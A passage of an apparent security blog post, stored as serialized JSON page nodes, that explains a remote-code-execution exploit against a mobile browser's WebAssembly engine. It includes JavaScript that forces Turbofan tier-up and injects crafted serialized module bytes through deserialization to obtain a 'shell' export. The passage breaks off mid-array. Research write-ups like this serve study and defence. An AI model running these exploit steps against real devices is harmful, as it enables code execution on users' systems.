",{"type":24,"tag":80,"props":141196,"children":141198},{"className":141197},[],[141199],{"type":29,"value":137745},{"type":29,"value":12113},{"type":24,"tag":80,"props":141202,"children":141204},{"className":141203},[],[141205],{"type":29,"value":141206},"0x03",{"type":29,"value":141208}," is the register index holding its first argument.",{"type":24,"tag":25,"props":141210,"children":141211},{},[141212,141214,141219,141220,141225,141227,141232],{"type":29,"value":141213},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":24,"tag":80,"props":141215,"children":141217},{"className":141216},[],[141218],{"type":29,"value":137745},{"type":29,"value":855},{"type":24,"tag":80,"props":141221,"children":141223},{"className":141222},[],[141224],{"type":29,"value":138713},{"type":29,"value":141226},". To avoid patching the bytecode again to invoke ",{"type":24,"tag":80,"props":141228,"children":141230},{"className":141229},[],[141231],{"type":29,"value":138713},{"type":29,"value":141233},", we can force Turbofan to compile the target function like this:",{"type":24,"tag":137,"props":141235,"children":141237},{"code":141236,"language":41216,"meta":7,"className":41214,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[141238],{"type":24,"tag":80,"props":141239,"children":141240},{"__ignoreMap":7},[141241,141249,141309,141321],{"type":24,"tag":147,"props":141242,"children":141243},{"class":149,"line":150},[141244],{"type":24,"tag":147,"props":141245,"children":141246},{"style":154},[141247],{"type":29,"value":141248},"// %WasmTierUpFunction(func);\n",{"type":24,"tag":147,"props":141250,"children":141251},{"class":149,"line":160},[141252,141256,141260,141264,141268,141272,141276,141280,141284,141288,141293,141297,141301,141305],{"type":24,"tag":147,"props":141253,"children":141254},{"style":321},[141255],{"type":29,"value":9018},{"type":24,"tag":147,"props":141257,"children":141258},{"style":235},[141259],{"type":29,"value":408},{"type":24,"tag":147,"props":141261,"children":141262},{"style":218},[141263],{"type":29,"value":17406},{"type":24,"tag":147,"props":141265,"children":141266},{"style":247},[141267],{"type":29,"value":9023},{"type":24,"tag":147,"props":141269,"children":141270},{"style":241},[141271],{"type":29,"value":651},{"type":24,"tag":147,"props":141273,"children":141274},{"style":705},[141275],{"type":29,"value":708},{"type":24,"tag":147,"props":141277,"children":141278},{"style":235},[141279],{"type":29,"value":22832},{"type":24,"tag":147,"props":141281,"children":141282},{"style":247},[141283],{"type":29,"value":9363},{"type":24,"tag":147,"props":141285,"children":141286},{"style":241},[141287],{"type":29,"value":14344},{"type":24,"tag":147,"props":141289,"children":141290},{"style":705},[141291],{"type":29,"value":141292}," 0x100000",{"type":24,"tag":147,"props":141294,"children":141295},{"style":235},[141296],{"type":29,"value":22832},{"type":24,"tag":147,"props":141298,"children":141299},{"style":247},[141300],{"type":29,"value":9363},{"type":24,"tag":147,"props":141302,"children":141303},{"style":241},[141304],{"type":29,"value":56862},{"type":24,"tag":147,"props":141306,"children":141307},{"style":235},[141308],{"type":29,"value":505},{"type":24,"tag":147,"props":141310,"children":141311},{"class":149,"line":169},[141312,141317],{"type":24,"tag":147,"props":141313,"children":141314},{"style":229},[141315],{"type":29,"value":141316},"  func",{"type":24,"tag":147,"props":141318,"children":141319},{"style":235},[141320],{"type":29,"value":9295},{"type":24,"tag":147,"props":141322,"children":141323},{"class":149,"line":178},[141324],{"type":24,"tag":147,"props":141325,"children":141326},{"style":235},[141327],{"type":29,"value":827},{"type":24,"tag":25,"props":141329,"children":141330},{},[141331],{"type":29,"value":141332},"Finally, running this code on the device:",{"type":24,"tag":137,"props":141334,"children":141336},{"code":141335,"language":41216,"meta":7,"className":41214,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[141337],{"type":24,"tag":80,"props":141338,"children":141339},{"__ignoreMap":7},[141340,141363,141391,141610,141677,141684,141727,141770,141809,141816,141824,141884,141896,141903,141910,141941,141984,142011,142018,142054,142117],{"type":24,"tag":147,"props":141341,"children":141342},{"class":149,"line":150},[141343,141347,141351,141355,141359],{"type":24,"tag":147,"props":141344,"children":141345},{"style":235},[141346],{"type":29,"value":480},{"type":24,"tag":147,"props":141348,"children":141349},{"style":218},[141350],{"type":29,"value":41746},{"type":24,"tag":147,"props":141352,"children":141353},{"style":235},[141354],{"type":29,"value":45292},{"type":24,"tag":147,"props":141356,"children":141357},{"style":218},[141358],{"type":29,"value":20435},{"type":24,"tag":147,"props":141360,"children":141361},{"style":235},[141362],{"type":29,"value":6630},{"type":24,"tag":147,"props":141364,"children":141365},{"class":149,"line":160},[141366,141371,141375,141379,141383,141387],{"type":24,"tag":147,"props":141367,"children":141368},{"style":218},[141369],{"type":29,"value":141370},"  var",{"type":24,"tag":147,"props":141372,"children":141373},{"style":247},[141374],{"type":29,"value":138243},{"type":24,"tag":147,"props":141376,"children":141377},{"style":241},[141378],{"type":29,"value":651},{"type":24,"tag":147,"props":141380,"children":141381},{"style":218},[141382],{"type":29,"value":37533},{"type":24,"tag":147,"props":141384,"children":141385},{"style":229},[141386],{"type":29,"value":138256},{"type":24,"tag":147,"props":141388,"children":141389},{"style":235},[141390],{"type":29,"value":138261},{"type":24,"tag":147,"props":141392,"children":141393},{"class":149,"line":169},[141394,141398,141402,141406,141410,141414,141418,141422,141426,141430,141434,141438,141442,141446,141450,141454,141458,141462,141466,141470,141474,141478,141482,141486,141490,141494,141498,141502,141506,141510,141514,141518,141522,141526,141530,141534,141538,141542,141546,141550,141554,141558,141562,141566,141570,141574,141578,141582,141586,141590,141594,141598,141602,141606],{"type":24,"tag":147,"props":141395,"children":141396},{"style":705},[141397],{"type":29,"value":138986},{"type":24,"tag":147,"props":141399,"children":141400},{"style":235},[141401],{"type":29,"value":546},{"type":24,"tag":147,"props":141403,"children":141404},{"style":705},[141405],{"type":29,"value":138278},{"type":24,"tag":147,"props":141407,"children":141408},{"style":235},[141409],{"type":29,"value":546},{"type":24,"tag":147,"props":141411,"children":141412},{"style":705},[141413],{"type":29,"value":138287},{"type":24,"tag":147,"props":141415,"children":141416},{"style":235},[141417],{"type":29,"value":546},{"type":24,"tag":147,"props":141419,"children":141420},{"style":705},[141421],{"type":29,"value":138296},{"type":24,"tag":147,"props":141423,"children":141424},{"style":235},[141425],{"type":29,"value":546},{"type":24,"tag":147,"props":141427,"children":141428},{"style":705},[141429],{"type":29,"value":1154},{"type":24,"tag":147,"props":141431,"children":141432},{"style":235},[141433],{"type":29,"value":546},{"type":24,"tag":147,"props":141435,"children":141436},{"style":705},[141437],{"type":29,"value":3173},{"type":24,"tag":147,"props":141439,"children":141440},{"style":235},[141441],{"type":29,"value":546},{"type":24,"tag":147,"props":141443,"children":141444},{"style":705},[141445],{"type":29,"value":3173},{"type":24,"tag":147,"props":141447,"children":141448},{"style":235},[141449],{"type":29,"value":546},{"type":24,"tag":147,"props":141451,"children":141452},{"style":705},[141453],{"type":29,"value":3173},{"type":24,"tag":147,"props":141455,"children":141456},{"style":235},[141457],{"type":29,"value":546},{"type":24,"tag":147,"props":141459,"children":141460},{"style":705},[141461],{"type":29,"value":1154},{"type":24,"tag":147,"props":141463,"children":141464},{"style":235},[141465],{"type":29,"value":546},{"type":24,"tag":147,"props":141467,"children":141468},{"style":705},[141469],{"type":29,"value":23134},{"type":24,"tag":147,"props":141471,"children":141472},{"style":235},[141473],{"type":29,"value":546},{"type":24,"tag":147,"props":141475,"children":141476},{"style":705},[141477],{"type":29,"value":1154},{"type":24,"tag":147,"props":141479,"children":141480},{"style":235},[141481],{"type":29,"value":546},{"type":24,"tag":147,"props":141483,"children":141484},{"style":705},[141485],{"type":29,"value":138361},{"type":24,"tag":147,"props":141487,"children":141488},{"style":235},[141489],{"type":29,"value":546},{"type":24,"tag":147,"props":141491,"children":141492},{"style":705},[141493],{"type":29,"value":3173},{"type":24,"tag":147,"props":141495,"children":141496},{"style":235},[141497],{"type":29,"value":546},{"type":24,"tag":147,"props":141499,"children":141500},{"style":705},[141501],{"type":29,"value":3173},{"type":24,"tag":147,"props":141503,"children":141504},{"style":235},[141505],{"type":29,"value":546},{"type":24,"tag":147,"props":141507,"children":141508},{"style":705},[141509],{"type":29,"value":22901},{"type":24,"tag":147,"props":141511,"children":141512},{"style":235},[141513],{"type":29,"value":546},{"type":24,"tag":147,"props":141515,"children":141516},{"style":705},[141517],{"type":29,"value":8753},{"type":24,"tag":147,"props":141519,"children":141520},{"style":235},[141521],{"type":29,"value":546},{"type":24,"tag":147,"props":141523,"children":141524},{"style":705},[141525],{"type":29,"value":1154},{"type":24,"tag":147,"props":141527,"children":141528},{"style":235},[141529],{"type":29,"value":546},{"type":24,"tag":147,"props":141531,"children":141532},{"style":705},[141533],{"type":29,"value":3173},{"type":24,"tag":147,"props":141535,"children":141536},{"style":235},[141537],{"type":29,"value":546},{"type":24,"tag":147,"props":141539,"children":141540},{"style":705},[141541],{"type":29,"value":60260},{"type":24,"tag":147,"props":141543,"children":141544},{"style":235},[141545],{"type":29,"value":546},{"type":24,"tag":147,"props":141547,"children":141548},{"style":705},[141549],{"type":29,"value":61473},{"type":24,"tag":147,"props":141551,"children":141552},{"style":235},[141553],{"type":29,"value":546},{"type":24,"tag":147,"props":141555,"children":141556},{"style":705},[141557],{"type":29,"value":1154},{"type":24,"tag":147,"props":141559,"children":141560},{"style":235},[141561],{"type":29,"value":546},{"type":24,"tag":147,"props":141563,"children":141564},{"style":705},[141565],{"type":29,"value":23715},{"type":24,"tag":147,"props":141567,"children":141568},{"style":235},[141569],{"type":29,"value":546},{"type":24,"tag":147,"props":141571,"children":141572},{"style":705},[141573],{"type":29,"value":138287},{"type":24,"tag":147,"props":141575,"children":141576},{"style":235},[141577],{"type":29,"value":546},{"type":24,"tag":147,"props":141579,"children":141580},{"style":705},[141581],{"type":29,"value":138458},{"type":24,"tag":147,"props":141583,"children":141584},{"style":235},[141585],{"type":29,"value":546},{"type":24,"tag":147,"props":141587,"children":141588},{"style":705},[141589],{"type":29,"value":138467},{"type":24,"tag":147,"props":141591,"children":141592},{"style":235},[141593],{"type":29,"value":546},{"type":24,"tag":147,"props":141595,"children":141596},{"style":705},[141597],{"type":29,"value":138476},{"type":24,"tag":147,"props":141599,"children":141600},{"style":235},[141601],{"type":29,"value":546},{"type":24,"tag":147,"props":141603,"children":141604},{"style":705},[141605],{"type":29,"value":138476},{"type":24,"tag":147,"props":141607,"children":141608},{"style":235},[141609],{"type":29,"value":1549},{"type":24,"tag":147,"props":141611,"children":141612},{"class":149,"line":178},[141613,141617,141621,141625,141629,141633,141637,141641,141645,141649,141653,141657,141661,141665,141669,141673],{"type":24,"tag":147,"props":141614,"children":141615},{"style":705},[141616],{"type":29,"value":138986},{"type":24,"tag":147,"props":141618,"children":141619},{"style":235},[141620],{"type":29,"value":546},{"type":24,"tag":147,"props":141622,"children":141623},{"style":705},[141624],{"type":29,"value":3173},{"type":24,"tag":147,"props":141626,"children":141627},{"style":235},[141628],{"type":29,"value":546},{"type":24,"tag":147,"props":141630,"children":141631},{"style":705},[141632],{"type":29,"value":94836},{"type":24,"tag":147,"props":141634,"children":141635},{"style":235},[141636],{"type":29,"value":546},{"type":24,"tag":147,"props":141638,"children":141639},{"style":705},[141640],{"type":29,"value":23134},{"type":24,"tag":147,"props":141642,"children":141643},{"style":235},[141644],{"type":29,"value":546},{"type":24,"tag":147,"props":141646,"children":141647},{"style":705},[141648],{"type":29,"value":1154},{"type":24,"tag":147,"props":141650,"children":141651},{"style":235},[141652],{"type":29,"value":546},{"type":24,"tag":147,"props":141654,"children":141655},{"style":705},[141656],{"type":29,"value":8753},{"type":24,"tag":147,"props":141658,"children":141659},{"style":235},[141660],{"type":29,"value":546},{"type":24,"tag":147,"props":141662,"children":141663},{"style":705},[141664],{"type":29,"value":3173},{"type":24,"tag":147,"props":141666,"children":141667},{"style":235},[141668],{"type":29,"value":546},{"type":24,"tag":147,"props":141670,"children":141671},{"style":705},[141672],{"type":29,"value":138552},{"type":24,"tag":147,"props":141674,"children":141675},{"style":235},[141676],{"type":29,"value":1549},{"type":24,"tag":147,"props":141678,"children":141679},{"class":149,"line":187},[141680],{"type":24,"tag":147,"props":141681,"children":141682},{"style":235},[141683],{"type":29,"value":139273},{"type":24,"tag":147,"props":141685,"children":141686},{"class":149,"line":196},[141687,141691,141695,141699,141703,141707,141711,141715,141719,141723],{"type":24,"tag":147,"props":141688,"children":141689},{"style":218},[141690],{"type":29,"value":141370},{"type":24,"tag":147,"props":141692,"children":141693},{"style":247},[141694],{"type":29,"value":77206},{"type":24,"tag":147,"props":141696,"children":141697},{"style":241},[141698],{"type":29,"value":651},{"type":24,"tag":147,"props":141700,"children":141701},{"style":218},[141702],{"type":29,"value":37533},{"type":24,"tag":147,"props":141704,"children":141705},{"style":247},[141706],{"type":29,"value":138587},{"type":24,"tag":147,"props":141708,"children":141709},{"style":235},[141710],{"type":29,"value":87},{"type":24,"tag":147,"props":141712,"children":141713},{"style":229},[141714],{"type":29,"value":91502},{"type":24,"tag":147,"props":141716,"children":141717},{"style":235},[141718],{"type":29,"value":480},{"type":24,"tag":147,"props":141720,"children":141721},{"style":247},[141722],{"type":29,"value":138604},{"type":24,"tag":147,"props":141724,"children":141725},{"style":235},[141726],{"type":29,"value":1473},{"type":24,"tag":147,"props":141728,"children":141729},{"class":149,"line":205},[141730,141734,141738,141742,141746,141750,141754,141758,141762,141766],{"type":24,"tag":147,"props":141731,"children":141732},{"style":218},[141733],{"type":29,"value":141370},{"type":24,"tag":147,"props":141735,"children":141736},{"style":247},[141737],{"type":29,"value":138620},{"type":24,"tag":147,"props":141739,"children":141740},{"style":241},[141741],{"type":29,"value":651},{"type":24,"tag":147,"props":141743,"children":141744},{"style":218},[141745],{"type":29,"value":37533},{"type":24,"tag":147,"props":141747,"children":141748},{"style":247},[141749],{"type":29,"value":138587},{"type":24,"tag":147,"props":141751,"children":141752},{"style":235},[141753],{"type":29,"value":87},{"type":24,"tag":147,"props":141755,"children":141756},{"style":229},[141757],{"type":29,"value":138641},{"type":24,"tag":147,"props":141759,"children":141760},{"style":235},[141761],{"type":29,"value":480},{"type":24,"tag":147,"props":141763,"children":141764},{"style":247},[141765],{"type":29,"value":138650},{"type":24,"tag":147,"props":141767,"children":141768},{"style":235},[141769],{"type":29,"value":1473},{"type":24,"tag":147,"props":141771,"children":141772},{"class":149,"line":214},[141773,141777,141781,141785,141789,141793,141797,141801,141805],{"type":24,"tag":147,"props":141774,"children":141775},{"style":218},[141776],{"type":29,"value":141370},{"type":24,"tag":147,"props":141778,"children":141779},{"style":247},[141780],{"type":29,"value":85593},{"type":24,"tag":147,"props":141782,"children":141783},{"style":241},[141784],{"type":29,"value":651},{"type":24,"tag":147,"props":141786,"children":141787},{"style":247},[141788],{"type":29,"value":138620},{"type":24,"tag":147,"props":141790,"children":141791},{"style":235},[141792],{"type":29,"value":87},{"type":24,"tag":147,"props":141794,"children":141795},{"style":247},[141796],{"type":29,"value":43483},{"type":24,"tag":147,"props":141798,"children":141799},{"style":235},[141800],{"type":29,"value":87},{"type":24,"tag":147,"props":141802,"children":141803},{"style":247},[141804],{"type":29,"value":138690},{"type":24,"tag":147,"props":141806,"children":141807},{"style":235},[141808],{"type":29,"value":432},{"type":24,"tag":147,"props":141810,"children":141811},{"class":149,"line":272},[141812],{"type":24,"tag":147,"props":141813,"children":141814},{"emptyLinePlaceholder":16},[141815],{"type":29,"value":314},{"type":24,"tag":147,"props":141817,"children":141818},{"class":149,"line":281},[141819],{"type":24,"tag":147,"props":141820,"children":141821},{"style":154},[141822],{"type":29,"value":141823},"  // %WasmTierUpFunction(func);\n",{"type":24,"tag":147,"props":141825,"children":141826},{"class":149,"line":299},[141827,141832,141836,141840,141844,141848,141852,141856,141860,141864,141868,141872,141876,141880],{"type":24,"tag":147,"props":141828,"children":141829},{"style":321},[141830],{"type":29,"value":141831},"  for",{"type":24,"tag":147,"props":141833,"children":141834},{"style":235},[141835],{"type":29,"value":408},{"type":24,"tag":147,"props":141837,"children":141838},{"style":218},[141839],{"type":29,"value":17406},{"type":24,"tag":147,"props":141841,"children":141842},{"style":247},[141843],{"type":29,"value":9023},{"type":24,"tag":147,"props":141845,"children":141846},{"style":241},[141847],{"type":29,"value":651},{"type":24,"tag":147,"props":141849,"children":141850},{"style":705},[141851],{"type":29,"value":708},{"type":24,"tag":147,"props":141853,"children":141854},{"style":235},[141855],{"type":29,"value":22832},{"type":24,"tag":147,"props":141857,"children":141858},{"style":247},[141859],{"type":29,"value":9363},{"type":24,"tag":147,"props":141861,"children":141862},{"style":241},[141863],{"type":29,"value":14344},{"type":24,"tag":147,"props":141865,"children":141866},{"style":705},[141867],{"type":29,"value":141292},{"type":24,"tag":147,"props":141869,"children":141870},{"style":235},[141871],{"type":29,"value":22832},{"type":24,"tag":147,"props":141873,"children":141874},{"style":247},[141875],{"type":29,"value":9363},{"type":24,"tag":147,"props":141877,"children":141878},{"style":241},[141879],{"type":29,"value":56862},{"type":24,"tag":147,"props":141881,"children":141882},{"style":235},[141883],{"type":29,"value":505},{"type":24,"tag":147,"props":141885,"children":141886},{"class":149,"line":308},[141887,141892],{"type":24,"tag":147,"props":141888,"children":141889},{"style":229},[141890],{"type":29,"value":141891},"    func",{"type":24,"tag":147,"props":141893,"children":141894},{"style":235},[141895],{"type":29,"value":9295},{"type":24,"tag":147,"props":141897,"children":141898},{"class":149,"line":317},[141899],{"type":24,"tag":147,"props":141900,"children":141901},{"style":235},[141902],{"type":29,"value":11496},{"type":24,"tag":147,"props":141904,"children":141905},{"class":149,"line":332},[141906],{"type":24,"tag":147,"props":141907,"children":141908},{"emptyLinePlaceholder":16},[141909],{"type":29,"value":314},{"type":24,"tag":147,"props":141911,"children":141912},{"class":149,"line":350},[141913,141917,141921,141925,141929,141933,141937],{"type":24,"tag":147,"props":141914,"children":141915},{"style":218},[141916],{"type":29,"value":13481},{"type":24,"tag":147,"props":141918,"children":141919},{"style":247},[141920],{"type":29,"value":140726},{"type":24,"tag":147,"props":141922,"children":141923},{"style":241},[141924],{"type":29,"value":651},{"type":24,"tag":147,"props":141926,"children":141927},{"style":229},[141928],{"type":29,"value":140735},{"type":24,"tag":147,"props":141930,"children":141931},{"style":235},[141932],{"type":29,"value":480},{"type":24,"tag":147,"props":141934,"children":141935},{"style":247},[141936],{"type":29,"value":138650},{"type":24,"tag":147,"props":141938,"children":141939},{"style":235},[141940],{"type":29,"value":1473},{"type":24,"tag":147,"props":141942,"children":141943},{"class":149,"line":358},[141944,141948,141952,141956,141960,141964,141968,141972,141976,141980],{"type":24,"tag":147,"props":141945,"children":141946},{"style":247},[141947],{"type":29,"value":140771},{"type":24,"tag":147,"props":141949,"children":141950},{"style":241},[141951],{"type":29,"value":651},{"type":24,"tag":147,"props":141953,"children":141954},{"style":235},[141955],{"type":29,"value":408},{"type":24,"tag":147,"props":141957,"children":141958},{"style":321},[141959],{"type":29,"value":38517},{"type":24,"tag":147,"props":141961,"children":141962},{"style":247},[141963],{"type":29,"value":140726},{"type":24,"tag":147,"props":141965,"children":141966},{"style":235},[141967],{"type":29,"value":87},{"type":24,"tag":147,"props":141969,"children":141970},{"style":229},[141971],{"type":29,"value":5817},{"type":24,"tag":147,"props":141973,"children":141974},{"style":235},[141975],{"type":29,"value":140800},{"type":24,"tag":147,"props":141977,"children":141978},{"style":247},[141979],{"type":29,"value":5037},{"type":24,"tag":147,"props":141981,"children":141982},{"style":235},[141983],{"type":29,"value":432},{"type":24,"tag":147,"props":141985,"children":141986},{"class":149,"line":397},[141987,141991,141995,141999,142003,142007],{"type":24,"tag":147,"props":141988,"children":141989},{"style":247},[141990],{"type":29,"value":107522},{"type":24,"tag":147,"props":141992,"children":141993},{"style":235},[141994],{"type":29,"value":87},{"type":24,"tag":147,"props":141996,"children":141997},{"style":229},[141998],{"type":29,"value":107531},{"type":24,"tag":147,"props":142000,"children":142001},{"style":235},[142002],{"type":29,"value":480},{"type":24,"tag":147,"props":142004,"children":142005},{"style":247},[142006],{"type":29,"value":14706},{"type":24,"tag":147,"props":142008,"children":142009},{"style":235},[142010],{"type":29,"value":1473},{"type":24,"tag":147,"props":142012,"children":142013},{"class":149,"line":421},[142014],{"type":24,"tag":147,"props":142015,"children":142016},{"emptyLinePlaceholder":16},[142017],{"type":29,"value":314},{"type":24,"tag":147,"props":142019,"children":142020},{"class":149,"line":435},[142021,142025,142030,142034,142038,142042,142046,142050],{"type":24,"tag":147,"props":142022,"children":142023},{"style":218},[142024],{"type":29,"value":13481},{"type":24,"tag":147,"props":142026,"children":142027},{"style":247},[142028],{"type":29,"value":142029}," result_bytes",{"type":24,"tag":147,"props":142031,"children":142032},{"style":241},[142033],{"type":29,"value":651},{"type":24,"tag":147,"props":142035,"children":142036},{"style":218},[142037],{"type":29,"value":37533},{"type":24,"tag":147,"props":142039,"children":142040},{"style":229},[142041],{"type":29,"value":138256},{"type":24,"tag":147,"props":142043,"children":142044},{"style":235},[142045],{"type":29,"value":480},{"type":24,"tag":147,"props":142047,"children":142048},{"style":247},[142049],{"type":29,"value":14706},{"type":24,"tag":147,"props":142051,"children":142052},{"style":235},[142053],{"type":29,"value":1473},{"type":24,"tag":147,"props":142055,"children":142056},{"class":149,"line":444},[142057,142061,142065,142069,142073,142077,142081,142085,142089,142093,142097,142101,142105,142109,142113],{"type":24,"tag":147,"props":142058,"children":142059},{"style":247},[142060],{"type":29,"value":107522},{"type":24,"tag":147,"props":142062,"children":142063},{"style":235},[142064],{"type":29,"value":87},{"type":24,"tag":147,"props":142066,"children":142067},{"style":229},[142068],{"type":29,"value":107531},{"type":24,"tag":147,"props":142070,"children":142071},{"style":235},[142072],{"type":29,"value":480},{"type":24,"tag":147,"props":142074,"children":142075},{"style":3534},[142076],{"type":29,"value":138823},{"type":24,"tag":147,"props":142078,"children":142079},{"style":241},[142080],{"type":29,"value":1734},{"type":24,"tag":147,"props":142082,"children":142083},{"style":247},[142084],{"type":29,"value":142029},{"type":24,"tag":147,"props":142086,"children":142087},{"style":235},[142088],{"type":29,"value":87},{"type":24,"tag":147,"props":142090,"children":142091},{"style":229},[142092],{"type":29,"value":138840},{"type":24,"tag":147,"props":142094,"children":142095},{"style":235},[142096],{"type":29,"value":480},{"type":24,"tag":147,"props":142098,"children":142099},{"style":3534},[142100],{"type":29,"value":138849},{"type":24,"tag":147,"props":142102,"children":142103},{"style":235},[142104],{"type":29,"value":564},{"type":24,"tag":147,"props":142106,"children":142107},{"style":241},[142108],{"type":29,"value":624},{"type":24,"tag":147,"props":142110,"children":142111},{"style":3534},[142112],{"type":29,"value":138862},{"type":24,"tag":147,"props":142114,"children":142115},{"style":235},[142116],{"type":29,"value":1473},{"type":24,"tag":147,"props":142118,"children":142119},{"class":149,"line":452},[142120],{"type":24,"tag":147,"props":142121,"children":142122},{"style":235},[142123],{"type":29,"value":107563},{"type":24,"tag":25,"props":142125,"children":142126},{},[142127],{"type":29,"value":142128},"We get the serialized bytes:",{"type":24,"tag":25,"props":142130,"children":142131},{},[142132],{"type":24,"tag":63,"props":142133,"children":142136},{"alt":142134,"src":142135},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":24,"tag":25,"props":142138,"children":142139},{},[142140,142142,142147],{"type":29,"value":142141},"We can now embed this output into the original bytecode that calls ",{"type":24,"tag":80,"props":142143,"children":142145},{"className":142144},[],[142146],{"type":29,"value":137719},{"type":29,"value":978},{"type":24,"tag":137,"props":142149,"children":142151},{"code":142150,"language":41216,"meta":7,"className":41214,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[142152],{"type":24,"tag":80,"props":142153,"children":142154},{"__ignoreMap":7},[142155,142178,142205,142424,142491,142498,142525,142736,142987,143238,143462,143644,143865,143943,143950,143997,144040,144076,144119,144158,144185],{"type":24,"tag":147,"props":142156,"children":142157},{"class":149,"line":150},[142158,142162,142166,142170,142174],{"type":24,"tag":147,"props":142159,"children":142160},{"style":235},[142161],{"type":29,"value":480},{"type":24,"tag":147,"props":142163,"children":142164},{"style":218},[142165],{"type":29,"value":41746},{"type":24,"tag":147,"props":142167,"children":142168},{"style":235},[142169],{"type":29,"value":45292},{"type":24,"tag":147,"props":142171,"children":142172},{"style":218},[142173],{"type":29,"value":20435},{"type":24,"tag":147,"props":142175,"children":142176},{"style":235},[142177],{"type":29,"value":6630},{"type":24,"tag":147,"props":142179,"children":142180},{"class":149,"line":160},[142181,142185,142189,142193,142197,142201],{"type":24,"tag":147,"props":142182,"children":142183},{"style":218},[142184],{"type":29,"value":41789},{"type":24,"tag":147,"props":142186,"children":142187},{"style":247},[142188],{"type":29,"value":138243},{"type":24,"tag":147,"props":142190,"children":142191},{"style":241},[142192],{"type":29,"value":651},{"type":24,"tag":147,"props":142194,"children":142195},{"style":218},[142196],{"type":29,"value":37533},{"type":24,"tag":147,"props":142198,"children":142199},{"style":229},[142200],{"type":29,"value":138256},{"type":24,"tag":147,"props":142202,"children":142203},{"style":235},[142204],{"type":29,"value":138261},{"type":24,"tag":147,"props":142206,"children":142207},{"class":149,"line":169},[142208,142212,142216,142220,142224,142228,142232,142236,142240,142244,142248,142252,142256,142260,142264,142268,142272,142276,142280,142284,142288,142292,142296,142300,142304,142308,142312,142316,142320,142324,142328,142332,142336,142340,142344,142348,142352,142356,142360,142364,142368,142372,142376,142380,142384,142388,142392,142396,142400,142404,142408,142412,142416,142420],{"type":24,"tag":147,"props":142209,"children":142210},{"style":705},[142211],{"type":29,"value":138986},{"type":24,"tag":147,"props":142213,"children":142214},{"style":235},[142215],{"type":29,"value":546},{"type":24,"tag":147,"props":142217,"children":142218},{"style":705},[142219],{"type":29,"value":138278},{"type":24,"tag":147,"props":142221,"children":142222},{"style":235},[142223],{"type":29,"value":546},{"type":24,"tag":147,"props":142225,"children":142226},{"style":705},[142227],{"type":29,"value":138287},{"type":24,"tag":147,"props":142229,"children":142230},{"style":235},[142231],{"type":29,"value":546},{"type":24,"tag":147,"props":142233,"children":142234},{"style":705},[142235],{"type":29,"value":138296},{"type":24,"tag":147,"props":142237,"children":142238},{"style":235},[142239],{"type":29,"value":546},{"type":24,"tag":147,"props":142241,"children":142242},{"style":705},[142243],{"type":29,"value":1154},{"type":24,"tag":147,"props":142245,"children":142246},{"style":235},[142247],{"type":29,"value":546},{"type":24,"tag":147,"props":142249,"children":142250},{"style":705},[142251],{"type":29,"value":3173},{"type":24,"tag":147,"props":142253,"children":142254},{"style":235},[142255],{"type":29,"value":546},{"type":24,"tag":147,"props":142257,"children":142258},{"style":705},[142259],{"type":29,"value":3173},{"type":24,"tag":147,"props":142261,"children":142262},{"style":235},[142263],{"type":29,"value":546},{"type":24,"tag":147,"props":142265,"children":142266},{"style":705},[142267],{"type":29,"value":3173},{"type":24,"tag":147,"props":142269,"children":142270},{"style":235},[142271],{"type":29,"value":546},{"type":24,"tag":147,"props":142273,"children":142274},{"style":705},[142275],{"type":29,"value":1154},{"type":24,"tag":147,"props":142277,"children":142278},{"style":235},[142279],{"type":29,"value":546},{"type":24,"tag":147,"props":142281,"children":142282},{"style":705},[142283],{"type":29,"value":23134},{"type":24,"tag":147,"props":142285,"children":142286},{"style":235},[142287],{"type":29,"value":546},{"type":24,"tag":147,"props":142289,"children":142290},{"style":705},[142291],{"type":29,"value":1154},{"type":24,"tag":147,"props":142293,"children":142294},{"style":235},[142295],{"type":29,"value":546},{"type":24,"tag":147,"props":142297,"children":142298},{"style":705},[142299],{"type":29,"value":138361},{"type":24,"tag":147,"props":142301,"children":142302},{"style":235},[142303],{"type":29,"value":546},{"type":24,"tag":147,"props":142305,"children":142306},{"style":705},[142307],{"type":29,"value":3173},{"type":24,"tag":147,"props":142309,"children":142310},{"style":235},[142311],{"type":29,"value":546},{"type":24,"tag":147,"props":1